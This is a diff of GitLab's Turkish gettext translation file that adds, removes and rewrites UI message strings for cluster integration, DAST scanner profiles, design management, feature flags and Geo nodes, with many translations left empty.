-msgstr "%{custom_domain_start}Daha fazla bilgi%{custom_domain_end}."
+msgid "ClusterAgent|This feature is only available for premium plans"
+msgstr ""
+
+msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
+msgstr ""
-msgid "ClusterIntegration| This will permanently delete the following resources: <ul> <li>All installed applications and related resources</li> <li>The <code>gitlab-managed-apps</code> namespace</li> <li>Any project namespaces</li> <li><code>clusterroles</code></li> <li><code>clusterrolebindings</code></li> </ul>"
+msgid "ClusterAgent|You have insufficient permissions to create a cluster agent for this project"
msgstr ""
-msgid "ClusterIntegration| can be used instead of a custom domain."
-msgstr "özel bir etki alanı yerine kullanılabilir."
+msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
+msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr "%{appList} Kubernetes kümenize başarıyla yüklendi"
-msgid "ClusterIntegration|%{external_ip}.nip.io"
+msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgstr ""
+
+msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
msgid "ClusterIntegration|%{title} uninstalled successfully."
@@ -5111,14 +5237,17 @@ msgstr ""
msgid "ClusterIntegration|All data will be deleted and cannot be restored."
msgstr ""
+msgid "ClusterIntegration|All installed applications and related resources"
+msgstr ""
+
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster."
msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{startLink}More information%{endLink}"
msgstr ""
-msgid "ClusterIntegration|Alternatively"
-msgstr "Alternatifler"
+msgid "ClusterIntegration|Alternatively, "
+msgstr ""
msgid "ClusterIntegration|Amazon EKS"
msgstr "Amazon EKS"
@@ -5135,6 +5264,9 @@ msgstr "Projelerinizi almaya çalışırken bir hata oluştu: %{error}"
msgid "ClusterIntegration|An error occurred while trying to fetch zone machine types: %{error}"
msgstr "Bölge makine türlerini getirmeye çalışırken bir hata oluştu: %{error}"
+msgid "ClusterIntegration|Any project namespaces"
+msgstr ""
+
msgid "ClusterIntegration|Any running pipelines will be canceled."
msgstr "Çalışan tüm iş hatları iptal edilecektir."
@@ -5174,15 +5306,12 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{startLink}instance type %{externalLinkIcon} %{endLink}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster. Helm Tiller is required to install any of the following applications."
+msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
msgstr ""
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr "Ortamlarınızdan hangisinin bu kümeyi kullanacağını seçin."
-msgid "ClusterIntegration|Choose which of your environments will use this cluster. %{environment_scope_start}More information%{environment_scope_end}"
-msgstr ""
-
msgid "ClusterIntegration|Clear cluster cache"
msgstr ""
@@ -5207,6 +5336,9 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
+msgid "ClusterIntegration|Connect existing cluster"
+msgstr ""
+
msgid "ClusterIntegration|Copy API URL"
msgstr "API URL'sini Kopyala"
@@ -5390,9 +5522,6 @@ msgstr "Helm Tiller"
msgid "ClusterIntegration|Helm release failed to install"
msgstr "Helm sürümü yüklenemedi"
-msgid "ClusterIntegration|Helm streamlines installing and managing Kubernetes applications. Tiller runs inside of your Kubernetes Cluster, and manages releases of your charts."
-msgstr "Helm, Kubernetes uygulamalarını kurmayı ve yönetmeyi kolaylaştırır. Tiller, Kubernetes kümelerinizin içinde çalışır ve grafiklerinizin sürümlerini yönetir."
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr "Birden fazla küme oluşturuyorsanız ve Otomatik DevOps kullanıyorsanız, %{help_link_start}ilk önce bunu okuyunuz %{help_link_end}."
@@ -5588,7 +5717,7 @@ msgstr ""
msgid "ClusterIntegration|Number of nodes must be a numerical value."
msgstr ""
-msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{link_to_help_page} on Kubernetes"
+msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{linkStart}documentation%{linkEnd} on Kubernetes"
msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
@@ -5807,12 +5936,15 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
msgstr ""
-msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{auto_devops_start}Auto DevOps%{auto_devops_end}. The domain should have a wildcard DNS configured matching the domain."
+msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
+msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
+msgstr ""
+
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -5852,15 +5984,27 @@ msgstr ""
msgid "ClusterIntegration|This option will allow you to install applications on RBAC clusters."
msgstr ""
+msgid "ClusterIntegration|This project does not have billing enabled. To create a cluster, %{linkToBillingStart}enable billing%{linkToBillingEnd} and try again."
+msgstr ""
+
+msgid "ClusterIntegration|This will permanently delete the following resources:"
+msgstr ""
+
msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
msgstr ""
+msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|To remove your integration and resources, type %{clusterName} to confirm:"
msgstr ""
msgid "ClusterIntegration|To remove your integration, type %{clusterName} to confirm:"
msgstr ""
+msgid "ClusterIntegration|To use a new project, first create one on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Uninstall %{appTitle}"
msgstr ""
@@ -5885,6 +6029,9 @@ msgstr "Proje fiyatlandırma durumunu doğrula"
msgid "ClusterIntegration|We could not verify that one of your projects on GCP has billing enabled. Please try again."
msgstr ""
+msgid "ClusterIntegration|We were unable to fetch any projects. Ensure that you have a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|With a Kubernetes cluster associated to this project, you can use review apps, deploy your applications, run your pipelines, and much more in an easy way."
msgstr ""
@@ -5900,9 +6047,6 @@ msgstr ""
msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
msgstr "Kümenizdeki %{appTitle} başlığını değiştirmek üzeresiniz."
-msgid "ClusterIntegration|You must first install Helm Tiller before installing the applications below"
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
@@ -5933,8 +6077,8 @@ msgstr "Alan"
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|documentation"
-msgstr "belgeleme"
+msgid "ClusterIntegration|can be used instead of a custom domain. "
+msgstr ""
msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
msgstr ""
@@ -6110,6 +6254,12 @@ msgstr ""
msgid "Comment/Reply (quoting selected text)"
msgstr "Yorumla/Yanıtla (seçilen metinden alıntıyla)"
+msgid "Commenting on files that replace or are replaced by symbolic links is currently not supported."
+msgstr ""
+
+msgid "Commenting on symbolic links that replace or are replaced by files is currently not supported."
+msgstr ""
+
msgid "Comments"
msgstr "Yorumlar"
@@ -6310,7 +6460,7 @@ msgstr ""
msgid "Configure Tracing"
msgstr ""
-msgid "Configure a <code>.gitlab-webide.yml</code> file in the <code>.gitlab</code> directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
+msgid "Configure a %{codeStart}.gitlab-webide.yml%{codeEnd} file in the %{codeStart}.gitlab%{codeEnd} directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
msgid "Configure automatic git checks and housekeeping on repositories."
@@ -6763,9 +6913,6 @@ msgstr ""
msgid "Copy"
msgstr "Kopyala"
-msgid "Copy %{field}"
-msgstr ""
-
msgid "Copy %{http_label} clone URL"
msgstr "%{http_label} klon URL'sini kopyala"
@@ -6850,6 +6997,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy to clipboard"
+msgstr ""
+
msgid "Copy token"
msgstr "Erişim anahtarını kopyala"
@@ -6862,6 +7012,9 @@ msgstr "DeÄŸeri kopyala"
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not archive %{design}. Please try again."
+msgstr ""
+
msgid "Could not authorize chat nickname. Try again!"
msgstr "Bu sohbet takma adı yetkilendirilemedi. Tekrar deneyin!"
@@ -6886,15 +7039,21 @@ msgstr "Ortam oluşturulamadı"
msgid "Could not create group"
msgstr ""
+msgid "Could not create issue"
+msgstr ""
+
msgid "Could not create project"
msgstr "Proje oluşturulamadı"
-msgid "Could not delete %{design}. Please try again."
+msgid "Could not create wiki page"
msgstr ""
msgid "Could not delete chat nickname %{chat_name}."
msgstr "Sohbet takma adı %{chat_name} silinemedi."
+msgid "Could not delete wiki page"
+msgstr ""
+
msgid "Could not find design."
msgstr ""
@@ -6925,6 +7084,9 @@ msgstr ""
msgid "Could not save prometheus manual configuration"
msgstr ""
+msgid "Could not udpdate wiki page"
+msgstr ""
+
msgid "Could not update the LDAP settings"
msgstr ""
@@ -6940,6 +7102,11 @@ msgstr "Kapsam"
msgid "Coverage Fuzzing"
msgstr ""
+msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Create"
msgstr "OluÅŸtur"
@@ -7030,6 +7197,9 @@ msgstr "Epik oluÅŸtur"
msgid "Create file"
msgstr "Dosya oluÅŸtur"
+msgid "Create from"
+msgstr ""
+
msgid "Create group"
msgstr "Grup oluÅŸtur"
@@ -7066,6 +7236,9 @@ msgstr "Yeni pano oluÅŸtur"
msgid "Create new branch"
msgstr "Yeni dal oluÅŸtur"
+msgid "Create new confidential %{issuableType}"
+msgstr ""
+
msgid "Create new directory"
msgstr "Yeni dizin oluÅŸtur"
@@ -7090,6 +7263,9 @@ msgstr "Proje oluÅŸtur"
msgid "Create project label"
msgstr "Proje etiketi oluÅŸtur"
+msgid "Create release"
+msgstr ""
+
msgid "Create requirement"
msgstr "Gereksinim oluÅŸtur"
@@ -7261,6 +7437,9 @@ msgstr ""
msgid "Custom hostname (for private commit emails)"
msgstr "Özel ana bilgisayar adı (özel işleme e-postaları için)"
+msgid "Custom metrics"
+msgstr ""
+
msgid "Custom notification events"
msgstr "Özel bildirim etkinlikleri"
@@ -7357,6 +7536,15 @@ msgstr ""
msgid "Customize your pipeline configuration."
msgstr ""
+msgid "CustomizeHomepageBanner|Do you want to customize this page?"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|Go to preferences"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|This page shows a list of your projects by default but it can be changed to show projects' activity, groups, your to-do list, assigned issues, assigned merge requests, and more. You can change this under \"Homepage content\" in your preferences"
+msgstr ""
+
msgid "Cycle Time"
msgstr "Döngü Süresi"
@@ -7521,6 +7709,9 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Profiles"
+msgstr ""
+
msgid "DNS"
msgstr "DNS"
@@ -7551,25 +7742,55 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Silver plan."
msgstr ""
+msgid "DastProfiles|Are you sure you want to delete this profile?"
+msgstr ""
+
+msgid "DastProfiles|Could not create the scanner profile. Please try again."
+msgstr ""
+
msgid "DastProfiles|Could not create the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Could not delete scanner profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete scanner profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not fetch scanner profiles. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "DastProfiles|Could not update the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Do you want to discard this scanner profile?"
+msgstr ""
+
msgid "DastProfiles|Do you want to discard this site profile?"
msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
+msgid "DastProfiles|Download validation text file"
+msgstr ""
+
msgid "DastProfiles|Edit feature will come soon. Please create a new profile if changes needed"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
-msgid "DastProfiles|Error fetching the profiles list. Please check your network connection and try again."
+msgid "DastProfiles|Error Details"
msgstr ""
msgid "DastProfiles|Manage Profiles"
@@ -7578,7 +7799,16 @@ msgstr ""
msgid "DastProfiles|Manage profiles"
msgstr ""
-msgid "DastProfiles|New Site Profile"
+msgid "DastProfiles|Minimum = 0 (no timeout enabled), Maximum = 2880 minutes"
+msgstr ""
+
+msgid "DastProfiles|Minimum = 1 second, Maximum = 3600 seconds"
+msgstr ""
+
+msgid "DastProfiles|New Profile"
+msgstr ""
+
+msgid "DastProfiles|New scanner profile"
msgstr ""
msgid "DastProfiles|New site profile"
@@ -7590,6 +7820,9 @@ msgstr ""
msgid "DastProfiles|Please enter a valid URL format, ex: http://www.example.com/home"
msgstr ""
+msgid "DastProfiles|Please enter a valid timeout value"
+msgstr ""
+
msgid "DastProfiles|Profile name"
msgstr ""
@@ -7599,12 +7832,69 @@ msgstr ""
msgid "DastProfiles|Save profile"
msgstr ""
+msgid "DastProfiles|Scanner Profile"
+msgstr ""
+
+msgid "DastProfiles|Scanner Profiles"
+msgstr ""
+
+msgid "DastProfiles|Site Profile"
+msgstr ""
+
msgid "DastProfiles|Site Profiles"
msgstr ""
+msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgstr ""
+
+msgid "DastProfiles|Site must be validated to run an active scan."
+msgstr ""
+
+msgid "DastProfiles|Spider timeout"
+msgstr ""
+
+msgid "DastProfiles|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgstr ""
+
msgid "DastProfiles|Target URL"
msgstr ""
+msgid "DastProfiles|Target timeout"
+msgstr ""
+
+msgid "DastProfiles|Text file validation"
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the spider to traverse the site."
+msgstr ""
+
+msgid "DastProfiles|Validate"
+msgstr ""
+
+msgid "DastProfiles|Validate target site"
+msgstr ""
+
+msgid "DastProfiles|Validating..."
+msgstr ""
+
+msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgstr ""
+
+msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgstr ""
+
+msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgstr ""
+
msgid "Data is still calculating..."
msgstr "Veri hala hesaplanıyor..."
@@ -7677,7 +7967,7 @@ msgstr ""
msgid "Default classification label"
msgstr "Varsayılan sınıflandırma etiketi"
-msgid "Default deletion adjourned period"
+msgid "Default deletion delay"
msgstr ""
msgid "Default description template for issues"
@@ -7755,12 +8045,12 @@ msgstr "Sil"
msgid "Delete Comment"
msgstr "Yorumu sil"
-msgid "Delete Package"
-msgstr "Paketi Sil"
-
msgid "Delete Snippet"
msgstr "Parçacığı Sil"
+msgid "Delete account"
+msgstr ""
+
msgid "Delete artifacts"
msgstr ""
@@ -7815,6 +8105,9 @@ msgstr "Kullanıcı listesini sil"
msgid "Delete variable"
msgstr "DeÄŸiÅŸkeni sil"
+msgid "DeleteProject|Delete %{name}"
+msgstr ""
+
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -7836,15 +8129,24 @@ msgstr ""
msgid "Deleted"
msgstr "Silindi"
+msgid "Deleted Projects"
+msgstr ""
+
msgid "Deleted chat nickname: %{chat_name}!"
msgstr "Silinen sohbet takma adı: %{chat_name}!"
-msgid "Deleted in this version"
+msgid "Deleted projects"
+msgstr ""
+
+msgid "Deleted projects cannot be restored!"
msgstr ""
msgid "Deleting"
msgstr "Siliniyor"
+msgid "Deleting a project places it into a read-only state until %{date}, at which point the project will be permanently deleted. Are you ABSOLUTELY sure?"
+msgstr ""
+
msgid "Deleting the license failed."
msgstr ""
@@ -7854,6 +8156,9 @@ msgstr ""
msgid "Deleting the license failed. You are not permitted to perform this action."
msgstr ""
+msgid "Deleting the project will delete its repository and all related resources including issues, merge requests etc."
+msgstr ""
+
msgid "Deletion pending. This project will be removed on %{date}. Repository and other project resources are read-only."
msgstr "Silme bekleniyor. Bu proje %{date} tarihinde kaldırılacak. Depo ve diğer proje kaynakları salt okunurdur."
@@ -7880,6 +8185,11 @@ msgid_plural "Dependencies|%d additional vulnerabilities not shown"
msgstr[0] ""
msgstr[1] ""
+msgid "Dependencies|%d more"
+msgid_plural "Dependencies|%d more"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Dependencies|%d vulnerability detected"
msgid_plural "Dependencies|%d vulnerabilities detected"
msgstr[0] ""
@@ -7888,6 +8198,9 @@ msgstr[1] ""
msgid "Dependencies|%{remainingLicensesCount} more"
msgstr ""
+msgid "Dependencies|(top level)"
+msgstr ""
+
msgid "Dependencies|All"
msgstr ""
@@ -7900,6 +8213,9 @@ msgstr ""
msgid "Dependencies|Component name"
msgstr ""
+msgid "Dependencies|Dependency path"
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -7918,6 +8234,9 @@ msgstr ""
msgid "Dependencies|The %{codeStartTag}dependency_scanning%{codeEndTag} job has failed and cannot generate the list. Please ensure the job is running properly and run the pipeline again."
msgstr ""
+msgid "Dependencies|There may be multiple paths"
+msgstr ""
+
msgid "Dependencies|Toggle vulnerability list"
msgstr "Güvenlik açığı listesini aç/kapat"
@@ -7956,10 +8275,10 @@ msgid_plural "Depends on %d merge requests being merged"
msgstr[0] ""
msgstr[1] ""
-msgid "Depends on <strong>%d closed</strong> merge request."
-msgid_plural "Depends on <strong>%d closed</strong> merge requests."
-msgstr[0] "<strong>%d kapanan</strong> birleştirme isteğine bağlıdır."
-msgstr[1] "<strong>%d kapanan</strong> birleştirme isteğine bağlıdır."
+msgid "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge request."
+msgid_plural "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge requests."
+msgstr[0] ""
+msgstr[1] ""
msgid "Deploy"
msgid_plural "Deploys"
@@ -8002,7 +8321,7 @@ msgstr ""
msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
-msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The <code>gitlab-ci.yml</code> file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
+msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The %{filename} file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
msgstr ""
msgid "DeployFreeze|Time zone"
@@ -8236,13 +8555,22 @@ msgstr "%{filename} deÄŸiÅŸmedi"
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
+msgid "DesignManagement|Archive designs"
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
+msgid "DesignManagement|Archive selected"
+msgstr ""
+
+msgid "DesignManagement|Archived designs will still be available in previous versions of the design collection."
msgstr ""
-msgid "DesignManagement|Are you sure you want to delete the selected designs?"
+msgid "DesignManagement|Are you sure you want to archive the selected designs?"
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
msgstr ""
msgid "DesignManagement|Cancel changes"
@@ -8275,15 +8603,6 @@ msgstr ""
msgid "DesignManagement|Could not update note. Please try again."
msgstr ""
-msgid "DesignManagement|Delete"
-msgstr "Sil"
-
-msgid "DesignManagement|Delete designs confirmation"
-msgstr ""
-
-msgid "DesignManagement|Delete selected"
-msgstr "Seçilenleri sil"
-
msgid "DesignManagement|Deselect all"
msgstr "Tümünün seçimini kaldır"
@@ -8365,7 +8684,10 @@ msgstr "Ayrıntılar (varsayılan)"
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Score"
+msgid "DevOps"
+msgstr ""
+
+msgid "DevOps Report"
msgstr ""
msgid "Diff content limits"
@@ -8374,6 +8696,9 @@ msgstr ""
msgid "Diff limits"
msgstr ""
+msgid "Diff view settings"
+msgstr ""
+
msgid "Difference between start date and now"
msgstr ""
@@ -8386,7 +8711,10 @@ msgstr ""
msgid "Diffs|No file name available"
msgstr "Kullanılabilir dosya adı yok"
-msgid "Diffs|Show unchanged lines"
+msgid "Diffs|Show %{unfoldCount} lines"
+msgstr ""
+
+msgid "Diffs|Show all unchanged lines"
msgstr ""
msgid "Diffs|Something went wrong while fetching diff lines."
@@ -8491,9 +8819,6 @@ msgstr ""
msgid "Discuss a specific suggestion or question."
msgstr ""
-msgid "Discussion"
-msgstr ""
-
msgid "Discussion to reply to cannot be found"
msgstr ""
@@ -8508,7 +8833,7 @@ msgid_plural "Dismiss %d selected vulnerabilities as"
msgstr[0] ""
msgstr[1] ""
-msgid "Dismiss DevOps Score introduction"
+msgid "Dismiss DevOps Report introduction"
msgstr ""
msgid "Dismiss Merge Request promotion"
@@ -8760,9 +9085,6 @@ msgstr "Panoyu düzenle"
msgid "Edit comment"
msgstr "Yorumu düzenle"
-msgid "Edit dashboard"
-msgstr ""
-
msgid "Edit description"
msgstr "Açıklamayı düzenle"
@@ -9051,9 +9373,6 @@ msgstr "İki aşamalı doğrulamayı etkinleştir"
msgid "Enable usage ping"
msgstr ""
-msgid "Enable usage ping to get an overview of how you are using GitLab from a feature perspective."
-msgstr ""
-
msgid "Enable/disable your service desk. %{link_start}Learn more about service desk%{link_end}."
msgstr "Servis masanızı etkinleştirin/devre dışı bırakın. %{link_start}Servis masası hakkında daha fazla bilgi edinin%{link_end}."
@@ -9222,6 +9541,9 @@ msgstr ""
msgid "Environments in %{name}"
msgstr ""
+msgid "EnvironmentsAlert|%{severity} • %{title} %{text}. %{linkStart}View Details%{linkEnd} · %{startedAt} "
+msgstr ""
+
msgid "EnvironmentsDashboard|Add a project to the dashboard"
msgstr ""
@@ -9246,7 +9568,7 @@ msgstr "Kaldır"
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -9525,6 +9847,9 @@ msgstr ""
msgid "Epics|To schedule your epic's %{epicDateType} date based on milestones, assign a milestone with a %{epicDateType} date to any issue in the epic."
msgstr ""
+msgid "Epics|Unable to perform this action"
+msgstr ""
+
msgid "Epics|Unable to save epic. Please try again"
msgstr ""
@@ -9852,7 +10177,7 @@ msgstr ""
msgid "Exactly one of %{attributes} is required"
msgstr ""
-msgid "Example: <code>192.168.0.0/24</code>. %{read_more_link}."
+msgid "Example: %{ip_address}. %{read_more_link}."
msgstr ""
msgid "Example: @sub\\.company\\.com$"
@@ -9873,6 +10198,9 @@ msgstr ""
msgid "Excluding merge commits. Limited to 6,000 commits."
msgstr "Birleştirme işlemleri hariç tutuluyor. 6,000 işlem ile sınırlı."
+msgid "Existing branch name, tag, or commit SHA"
+msgstr ""
+
msgid "Existing members and groups"
msgstr "Mevcut üyeler ve gruplar"
@@ -9882,9 +10210,6 @@ msgstr ""
msgid "Existing projects will be able to use expiration policies. Avoid enabling this if an external Container Registry is being used, as there is a performance risk if many images exist on one project."
msgstr ""
-msgid "Existing shares"
-msgstr ""
-
msgid "Existing sign in methods may be removed"
msgstr ""
@@ -9897,9 +10222,6 @@ msgstr "Tümünü genişlet"
msgid "Expand approvers"
msgstr "Onaylayanları genişlet"
-msgid "Expand down"
-msgstr "Aşağı doğru genişlet"
-
msgid "Expand dropdown"
msgstr "Açılır listeyi genişlet"
@@ -9909,9 +10231,6 @@ msgstr ""
msgid "Expand sidebar"
msgstr "Kenar çubuğunu genişlet"
-msgid "Expand up"
-msgstr "Yukarı doğru genişlet"
-
msgid "Expected documents: %{expected_documents}"
msgstr ""
@@ -9924,9 +10243,6 @@ msgstr "Süre sonu"
msgid "Expiration date"
msgstr ""
-msgid "Expiration not enforced"
-msgstr "Son kullanma tarihi zorunlu deÄŸil"
-
msgid "Expired"
msgstr ""
@@ -10358,12 +10674,18 @@ msgstr ""
msgid "FeatureFlags|Flag becomes read only soon"
msgstr ""
+msgid "FeatureFlags|Flag is read-only"
+msgstr ""
+
msgid "FeatureFlags|Get started with feature flags"
msgstr "Özellik bayraklarını kullanmaya başlayın"
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags, and in 13.4, this feature flag will become read-only. Please create a new feature flag."
msgstr ""
+msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
+msgstr ""
+
msgid "FeatureFlags|ID"
msgstr "Kimlik"
@@ -10448,6 +10770,9 @@ msgstr ""
msgid "FeatureFlags|There was an error retrieving user lists"
msgstr "Kullanıcı listeleri geri alınırken bir hata oluştu"
+msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
+msgstr ""
+
msgid "FeatureFlags|Try again in a few moments or contact your support team."
msgstr ""
@@ -10457,9 +10782,6 @@ msgstr "Kullanıcı Kimlikleri"
msgid "FeatureFlags|User List"
msgstr ""
-msgid "FeatureFlag|Delete strategy"
-msgstr ""
-
msgid "FeatureFlag|List"
msgstr "Liste"
@@ -10499,6 +10821,9 @@ msgstr ""
msgid "File"
msgstr "Dosya"
+msgid "File %{current} of %{total}"
+msgstr ""
+
msgid "File Hooks"
msgstr ""
@@ -10724,6 +11049,9 @@ msgstr "Yazı Tipi Rengi"
msgid "Footer message"
msgstr "Altbilgi mesajı"
+msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgstr ""
+
msgid "For internal projects, any logged in user can view pipelines and access job details (output logs and artifacts)"
msgstr ""
@@ -10895,30 +11223,15 @@ msgstr "Düğüm başarısız veya bozuk."
msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
msgstr "Düğüm yavaş, aşırı yüklü veya bir kesintiden sonra kurtarıldı."
-msgid "GeoNodes|Attachments"
-msgstr ""
-
-msgid "GeoNodes|Checksummed"
-msgstr "Sağlama yapıldı"
-
msgid "GeoNodes|Consult Geo troubleshooting information"
msgstr ""
-msgid "GeoNodes|Container repositories"
-msgstr ""
-
msgid "GeoNodes|Data replication lag"
msgstr "Veri çoğaltma gecikmesi"
-msgid "GeoNodes|Design repositories"
-msgstr ""
-
msgid "GeoNodes|Does not match the primary storage configuration"
msgstr "Birincil depolama yapılandırmasıyla eşleşmiyor"
-msgid "GeoNodes|Failed"
-msgstr "Başarısız"
-
msgid "GeoNodes|Full"
msgstr "Dolu"
@@ -10934,12 +11247,6 @@ msgstr "Sağlık durumu"
msgid "GeoNodes|Internal URL"
msgstr ""
-msgid "GeoNodes|Job artifacts"
-msgstr ""
-
-msgid "GeoNodes|LFS objects"
-msgstr ""
-
msgid "GeoNodes|Last event ID processed by cursor"
msgstr ""
@@ -10967,12 +11274,6 @@ msgstr ""
msgid "GeoNodes|Node's status was updated %{timeAgo}."
msgstr ""
-msgid "GeoNodes|Not checksummed"
-msgstr ""
-
-msgid "GeoNodes|Package files"
-msgstr ""
-
msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
msgstr ""
@@ -10994,15 +11295,6 @@ msgstr ""
msgid "GeoNodes|Replication status"
msgstr ""
-msgid "GeoNodes|Repositories"
-msgstr "Depolar"
-
-msgid "GeoNodes|Repository checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Repository verification progress"
-msgstr ""
-
msgid "GeoNodes|Selective (%{syncLabel})"
msgstr ""
@@ -11030,27 +11322,12 @@ msgstr "Senkronizasyon ayarları"
msgid "GeoNodes|Unused slots"
msgstr "Kullanılmayan yuvalar"
-msgid "GeoNodes|Unverified"
-msgstr ""
-
msgid "GeoNodes|Updated %{timeAgo}"
msgstr "%{timeAgo} güncellendi"
msgid "GeoNodes|Used slots"
msgstr "Kullanılan yuvalar"
-msgid "GeoNodes|Verified"
-msgstr ""
-
-msgid "GeoNodes|Wiki checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Wiki verification progress"
-msgstr ""
-
-msgid "GeoNodes|Wikis"
-msgstr ""
-
